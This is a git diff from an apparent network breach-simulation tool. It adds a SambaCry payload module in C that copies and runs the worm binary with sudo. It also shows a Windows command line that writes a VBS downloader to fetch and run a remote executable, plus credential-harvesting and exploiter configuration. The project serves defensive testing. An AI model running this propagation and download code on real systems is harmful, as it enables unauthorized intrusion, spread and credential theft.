(MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 5ebd9779e..c8c4c631b 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -7,13 +7,17 @@ a = Analysis(['main.py'], pathex=['.'], binaries=None, datas=None, - hiddenimports=['_cffi_backend','grequests'], + hiddenimports=['_cffi_backend'], hookspath=None, runtime_hooks=None, excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, cipher=block_cipher) + +a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 6e128ed67..99298ebfd 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -86,7 +86,7 @@ class ChaosMonkey(object): self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) - ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) + ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 11df45517..8e004145b 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -3,10 +3,14 @@ import os import platform a = Analysis(['main.py'], pathex=['.'], - hiddenimports=['_cffi_backend', 'queue','grequests'], + hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] if platform.architecture()[0] == "32bit": diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh new file mode 100644 index 000000000..900855a6c --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +gcc -c -Wall -Werror -fpic sc_monkey_runner.c +gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c new file mode 100644 index 000000000..e23d08f3a --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -0,0 +1,160 @@ +#include +#include +#include +#include +#include + +#include "sc_monkey_runner.h" + +#ifdef __x86_64__ + #define ARCH_IS_64 +#endif + +#ifdef _____LP64_____ + #define ARCH_IS_64 +#endif + +#define LINE_MAX_LENGTH (2048) +#define MAX_PARAMETERS (30) + +int samba_init_module(void) +{ +#ifdef ARCH_IS_64 + const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; + const char MONKEY_NAME[] = "monkey64"; + const char MONKEY_COPY_NAME[] = "monkey64_2"; +#else + const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; + const char MONKEY_NAME[] = "monkey32"; + const char MONKEY_COPY_NAME[] = "monkey32_2"; +#endif + const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; + const int ACCESS_MODE = 0777; + const char RUN_MONKEY_CMD[] = "sudo ./"; + + int found = 0; + char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; + char commandline[LINE_MAX_LENGTH] = {'\0'}; + char* monkeyDirectory = NULL; + char* fileNamePointer = NULL; + FILE * pFile = NULL; + pid_t pid = 0; + int monkeySize = 0; + void* monkeyBinary = NULL; + struct stat fileStats; + + pid = fork(); + + if (0 != pid) + { + // error or this is parent - nothing to do but return. + return 0; + } + + // Find fullpath of running module. + pFile = fopen("/proc/self/maps", "r"); + if (NULL == pFile) + { + return 0; + } + + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { + fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); + if (fileNamePointer != NULL) { + found = 1; + break; + } + } + + fclose(pFile); + + // We can't find ourselves in module list + if (0 == found) + { + return 0; + } + + monkeyDirectory = strchr(modulePathLine, '/'); + *fileNamePointer = '\0'; + + if (0 != chdir(monkeyDirectory)) + { + return 0; + } + + // Write file to indicate we're running + pFile = fopen(RUNNER_RESULT_FILENAME, "w"); + if (NULL == pFile) + { + return 0; + } + + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); + fclose(pFile); + + // Read commandline + pFile = fopen(COMMANDLINE_FILENAME, "r"); + if (NULL == pFile) + { + return 0; + } + + // Build commandline + strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); + strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1); + strncat(commandline, " ", 1); + + fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); + fclose(pFile); + + if (0 != stat(MONKEY_NAME, &fileStats)) + { + return 0; + } + + monkeySize = (int)fileStats.st_size; + + // Copy monkey to new file so we'll own it. + pFile = fopen(MONKEY_NAME, "rb"); + + if (NULL == pFile) + { + return 0; + } + + monkeyBinary = malloc(monkeySize); + + if (NULL == monkeyBinary) + { + return 0; + } + + fread(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + + pFile = fopen(MONKEY_COPY_NAME, "wb"); + if (NULL == pFile) + { + free(monkeyBinary); + return 0; + } + fwrite(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + free(monkeyBinary); + + // Change monkey permissions + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE)) + { + return 0; + } + + system(commandline); + + return 0; +} + +int init_samba_module(void) +{ + return samba_init_module(); +} \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h new file mode 100644 index 000000000..86db653c8 --- /dev/null +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h @@ -0,0 +1,7 @@ +#ifndef monkey_runner_h__ +#define monkey_runner_h__ + +extern int samba_init_module(void); +extern int init_samba_module(void); + +#endif // monkey_runner_h__ \ No newline at end of file diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 6ca21cab8..21eea154a 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -18,8 +18,6 @@ from cc.resources.root import Root __author__ = 'Barak' -# TODO: separate logic from resources - def serve_static_file(path): print 'requested', path if path.startswith('api/'): @@ -28,6 +26,7 @@ def serve_static_file(path): def serve_home(): + # TODO: remove this or merge with frontend. return serve_static_file('index.html') @@ -75,7 +74,7 @@ def init_app(mongo_url): api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', - '/api/monkey/download/') + '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') diff --git a/monkey_island/cc/island_config.py b/monkey_island/cc/island_config.py new file mode 100644 index 000000000..c53d27004 --- /dev/null +++ b/monkey_island/cc/island_config.py @@ -0,0 +1,4 @@ +__author__ = 'itay.mizeretz' + +ISLAND_PORT = 5000 +DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index ad3156431..dd133cfd1 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -8,14 +8,8 @@ if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) from cc.app import init_app -from cc.utils import init_collections, local_ip_addresses - -ISLAND_PORT = 5000 -DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" - -INITIAL_USERNAMES = ['Administrator', 'root', 'user'] -INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] - +from cc.utils import local_ip_addresses +from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT if __name__ == '__main__': from tornado.wsgi import WSGIContainer @@ -23,8 +17,6 @@ if __name__ == '__main__': from tornado.ioloop import IOLoop app = init_app(os.environ.get('MONGO_URL', DEFAULT_MONGO_URL)) - with app.app_context(): - init_collections(INITIAL_USERNAMES, INITIAL_PASSWORDS) http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index ef89d400e..1923f948f 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -7,8 +7,8 @@ from flask import request, jsonify, make_response import flask_restful from cc.resources.monkey_download import get_monkey_executable - -from cc.utils import local_ips +from cc.island_config import ISLAND_PORT +from cc.services.node import NodeService __author__ = 'Barak' @@ -21,7 +21,7 @@ def run_local_monkey(island_address): # get the monkey executable suitable to run on the server result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) if not result: - return (False, "OS Type not found") + return False, "OS Type not found" monkey_path = os.path.join('binaries', result['filename']) target_path = os.path.join(os.getcwd(), result['filename']) @@ -30,8 +30,8 @@ def run_local_monkey(island_address): try: copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) - except Exception, exc: - return (False, "Copy file failed: %s" % exc) + except Exception as exc: + return False, "Copy file failed: %s" % exc # run the monkey try: @@ -39,16 +39,15 @@ def run_local_monkey(island_address): if sys.platform == "win32": args = "".join(args) pid = subprocess.Popen(args, shell=True).pid - except Exception, exc: - return (False, "popen failed: %s" % exc) + except Exception as exc: + return False, "popen failed: %s" % exc - return (True, "pis: %s" % pid) + return True, "pis: %s" % pid class LocalRun(flask_restful.Resource): def get(self): - # TODO implement is_running from db monkeys collection - return jsonify(is_running=False) + return jsonify(is_running=(NodeService.get_monkey_island_monkey() is not None)) def post(self): body = json.loads(request.data) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index eb936a066..89be0e561 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -1,14 +1,18 @@ import json from datetime import datetime, timedelta -import dateutil +import dateutil.parser from flask import request import flask_restful from cc.database import mongo +from cc.services.config import ConfigService +from cc.services.node import NodeService __author__ = 'Barak' +# TODO: separate logic from interface + def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes @@ -29,10 +33,6 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json['config']['exploit_user_list'] = \ - map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)])) - monkey_json['config']['exploit_password_list'] = \ - map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)])) return monkey_json else: result = {'timestamp': datetime.now().isoformat()} @@ -45,19 +45,22 @@ class Monkey(flask_restful.Resource): def patch(self, guid): monkey_json = json.loads(request.data) update = {"$set": {'modifytime': datetime.now()}} - + monkey = NodeService.get_monkey_by_guid(guid) if 'keepalive' in monkey_json: update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) else: update['$set']['keepalive'] = datetime.now() if 'config' in monkey_json: update['$set']['config'] = monkey_json['config'] - if 'tunnel' in monkey_json: - update['$set']['tunnel'] = monkey_json['tunnel'] if 'config_error' in monkey_json: update['$set']['config_error'] = monkey_json['config_error'] - return mongo.db.monkey.update({"guid": guid}, update, upsert=False) + if 'tunnel' in monkey_json: + host = monkey_json['tunnel'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id) + + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) def post(self, **kw): monkey_json = json.loads(request.data) @@ -71,7 +74,7 @@ class Monkey(flask_restful.Resource): # if new monkey telem, change config according to "new monkeys" config. db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) if not db_monkey: - new_config = mongo.db.config.find_one({'name': 'newconfig'}) or {} + new_config = ConfigService.get_flat_config() monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'].update(new_config) else: @@ -105,6 +108,12 @@ class Monkey(flask_restful.Resource): else: monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] + tunnel_host_id = None + if 'tunnel' in monkey_json: + host = monkey_json['tunnel'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + monkey_json.pop('tunnel') + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) @@ -113,12 +122,15 @@ class Monkey(flask_restful.Resource): new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] + if tunnel_host_id is not None: + NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id) + existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) if existing_node: - id = existing_node["_id"] - for edge in mongo.db.edge.find({"to": id}): + node_id = existing_node["_id"] + for edge in mongo.db.edge.find({"to": node_id}): mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}}) - mongo.db.node.remove({"_id": id}) + mongo.db.node.remove({"_id": node_id}) return {"id": new_monkey_id} diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 2135bc640..2ae5bf4d4 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -4,37 +4,18 @@ from flask import request, jsonify import flask_restful from cc.database import mongo +from cc.services.config import ConfigService __author__ = 'Barak' -SCHEMA = { - 'type': 'object', - 'title': 'Monkey', - 'properties': { - 'alive': { - 'title': 'Alive', - 'type': 'boolean' - } - }, - 'options': { - 'collapsed': True - } -} - - class MonkeyConfiguration(flask_restful.Resource): def get(self): - return jsonify(schema=SCHEMA, configuration=self._get_configuration()) + return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config()) def post(self): config_json = json.loads(request.data) - mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - return jsonify(schema=SCHEMA, configuration=self._get_configuration()) - @classmethod - def _get_configuration(cls): - config = mongo.db.config.find_one({'name': 'newconfig'}) or {} - for field in ('name', '_id'): - config.pop(field, None) - return config + mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config()) + diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index 6025d899b..b311c4472 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [ }, { 'type': 'linux', - 'filename': 'monkey-linux-32', + 'filename': 'monkey-linux-64', }, { 'type': 'windows', diff --git a/monkey_island/cc/resources/netmap.py b/monkey_island/cc/resources/netmap.py index f62c3fbe8..12418ef6b 100644 --- a/monkey_island/cc/resources/netmap.py +++ b/monkey_island/cc/resources/netmap.py @@ -1,5 +1,6 @@ import flask_restful +from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.database import mongo @@ -10,18 +11,19 @@ class NetMap(flask_restful.Resource): def get(self, **kw): monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] - edges = [self.edge_to_net_edge(x) for x in mongo.db.edge.find({})] + edges = [EdgeService.edge_to_net_edge(x) for x in mongo.db.edge.find({})] + + if NodeService.get_monkey_island_monkey() is None: + monkey_island = [NodeService.get_monkey_island_pseudo_net_node()] + edges += EdgeService.get_monkey_island_pseudo_edges() + else: + monkey_island = [] + edges += EdgeService.get_infected_monkey_island_pseudo_edges() return \ { - "nodes": monkeys + nodes, + "nodes": monkeys + nodes + monkey_island, "edges": edges } - def edge_to_net_edge(self, edge): - return \ - { - "id": edge["_id"], - "from": edge["from"], - "to": edge["to"] - } + diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index f6ed8edf1..ce3fc6116 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -5,7 +5,7 @@ import flask_restful from cc.database import mongo -from cc.utils import init_collections, local_ip_addresses +from cc.utils import local_ip_addresses __author__ = 'Barak' @@ -22,11 +22,8 @@ class Root(flask_restful.Resource): mongo.db.config.drop() mongo.db.monkey.drop() mongo.db.telemetry.drop() - mongo.db.usernames.drop() - mongo.db.passwords.drop() mongo.db.node.drop() mongo.db.edge.drop() - init_collections() return jsonify(status='OK') elif action == "killall": mongo.db.monkey.update({}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 311039b59..1c17c1fa0 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,13 +1,15 @@ import json from datetime import datetime +import traceback import dateutil from flask import request import flask_restful from cc.database import mongo - -from cc.utils import creds_add_username, creds_add_password +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.services.config import ConfigService __author__ = 'Barak' @@ -38,75 +40,70 @@ class Telemetry(flask_restful.Resource): telemetry_json['timestamp'] = datetime.now() telem_id = mongo.db.telemetry.insert(telemetry_json) + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - # update exploited monkeys parent try: if telemetry_json.get('telem_type') == 'tunnel': - if telemetry_json['data']: - host = telemetry_json['data'].split(":")[-2].replace("//", "") - tunnel_host = mongo.db.monkey.find_one({"ip_addresses": host}) - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'tunnel_guid': tunnel_host.get('guid'), - 'modifytime': datetime.now()}}, - upsert=False) - else: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$unset': {'tunnel_guid': ''}, - '$set': {'modifytime': datetime.now()}}, - upsert=False) + self.process_tunnel_telemetry(telemetry_json) elif telemetry_json.get('telem_type') == 'state': - if telemetry_json['data']['done']: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'dead': True, 'modifytime': datetime.now()}}, - upsert=False) - else: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'dead': False, 'modifytime': datetime.now()}}, - upsert=False) - elif telemetry_json.get('telem_type') in ['scan', 'exploit']: - dst_ip = telemetry_json['data']['machine']['ip_addr'] - src_monkey = mongo.db.monkey.find_one({"guid": telemetry_json['monkey_guid']}) - dst_monkey = mongo.db.monkey.find_one({"ip_addresses": dst_ip}) - if dst_monkey: - edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_monkey["_id"]}) - - if edge is None: - edge = self.insert_edge(src_monkey["_id"], dst_monkey["_id"]) - - else: - dst_node = mongo.db.node.find_one({"ip_addresses": dst_ip}) - if dst_node is None: - dst_node_insert_result = mongo.db.node.insert_one({"ip_addresses": [dst_ip]}) - dst_node = mongo.db.node.find_one({"_id": dst_node_insert_result.inserted_id}) - - edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_node["_id"]}) - - if edge is None: - edge = self.insert_edge(src_monkey["_id"], dst_node["_id"]) - - if telemetry_json.get('telem_type') == 'scan': - self.add_scan_to_edge(edge, telemetry_json) - else: - self.add_exploit_to_edge(edge, telemetry_json) - - except StandardError as e: - pass - - # Update credentials DB - try: - if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')): - creds = telemetry_json['data']['credentials'] - for user in creds: - creds_add_username(user) - - if creds[user].has_key('password'): - creds_add_password(creds[user]['password']) + self.process_state_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'exploit': + self.process_exploit_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'scan': + self.process_scan_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'system_info_collection': + self.process_system_info_telemetry(telemetry_json) + NodeService.update_monkey_modify_time(monkey["_id"]) except StandardError as ex: - print("Exception caught while updating DB credentials: %s" % str(ex)) + print("Exception caught while processing telemetry: %s" % str(ex)) + traceback.print_exc() return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) - def add_scan_to_edge(self, edge, telemetry_json): + def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + def process_tunnel_telemetry(self, telemetry_json): + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] + if telemetry_json['data']['proxy'] is not None: + host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id) + else: + NodeService.unset_all_monkey_tunnels(monkey_id) + + def process_state_telemetry(self, telemetry_json): + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + if telemetry_json['data']['done']: + NodeService.set_monkey_dead(monkey, True) + else: + NodeService.set_monkey_dead(monkey, False) + + def process_exploit_telemetry(self, telemetry_json): + edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) + data = telemetry_json['data'] + data["machine"].pop("ip_addr") + new_exploit = \ + { + "timestamp": telemetry_json["timestamp"], + "data": data, + "exploiter": telemetry_json['data']['exploiter'] + } + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$push": {"exploits": new_exploit}} + ) + if data['result']: + EdgeService.set_edge_exploited(edge) + + def process_scan_telemetry(self, telemetry_json): + edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = telemetry_json['data']['machine'] data.pop("ip_addr") new_scan = \ @@ -120,26 +117,25 @@ class Telemetry(flask_restful.Resource): {"$push": {"scans": new_scan}} ) - def add_exploit_to_edge(self, edge, telemetry_json): - data = telemetry_json['data'] - data["machine"].pop("ip_addr") - new_exploit = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data, - "exploiter": telemetry_json['data']['exploiter'] - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"exploits": new_exploit}} - ) + node = mongo.db.node.find_one({"_id": edge["to"]}) + if node is not None: + if new_scan["scanner"] == "TcpScanner": + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) + + def process_system_info_telemetry(self, telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + for user in creds: + ConfigService.creds_add_username(user) + if 'password' in creds[user]: + ConfigService.creds_add_password(creds[user]['password']) + - def insert_edge(self, from_id, to_id): - edge_insert_result = mongo.db.edge.insert_one( - { - "from": from_id, - "to": to_id, - "scans": [], - "exploits": [] - }) - return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py new file mode 100644 index 000000000..d996b3cdc --- /dev/null +++ b/monkey_island/cc/services/config.py @@ -0,0 +1,797 @@ +from cc.database import mongo + +__author__ = "itay.mizeretz" + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SmbExploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WmiExploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RdpExploiter" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "Ms08_067_Exploiter" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSHExploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShockExploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCryExploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + } + ] + } + }, + "properties": { + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + }, + "depth": { + "title": "Depth", + "type": "integer", + "default": 2, + "description": "Amount of hops allowed from this monkey to spread" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 14, + "description": "Determines after how many discovered machines should the monkey stop scanning" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": "Determines after how many infected machines should the monkey stop infecting" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": "The name of the mutex used to determine whether the monkey is already running" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger" + ], + "description": "Determines which classes to use for fingerprinting" + }, + "exploiter_classes": { + "title": "Exploiter classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "RdpExploiter", + "Ms08_067_Exploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter" + ], + "description": "Determines which classes to use for exploiting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": 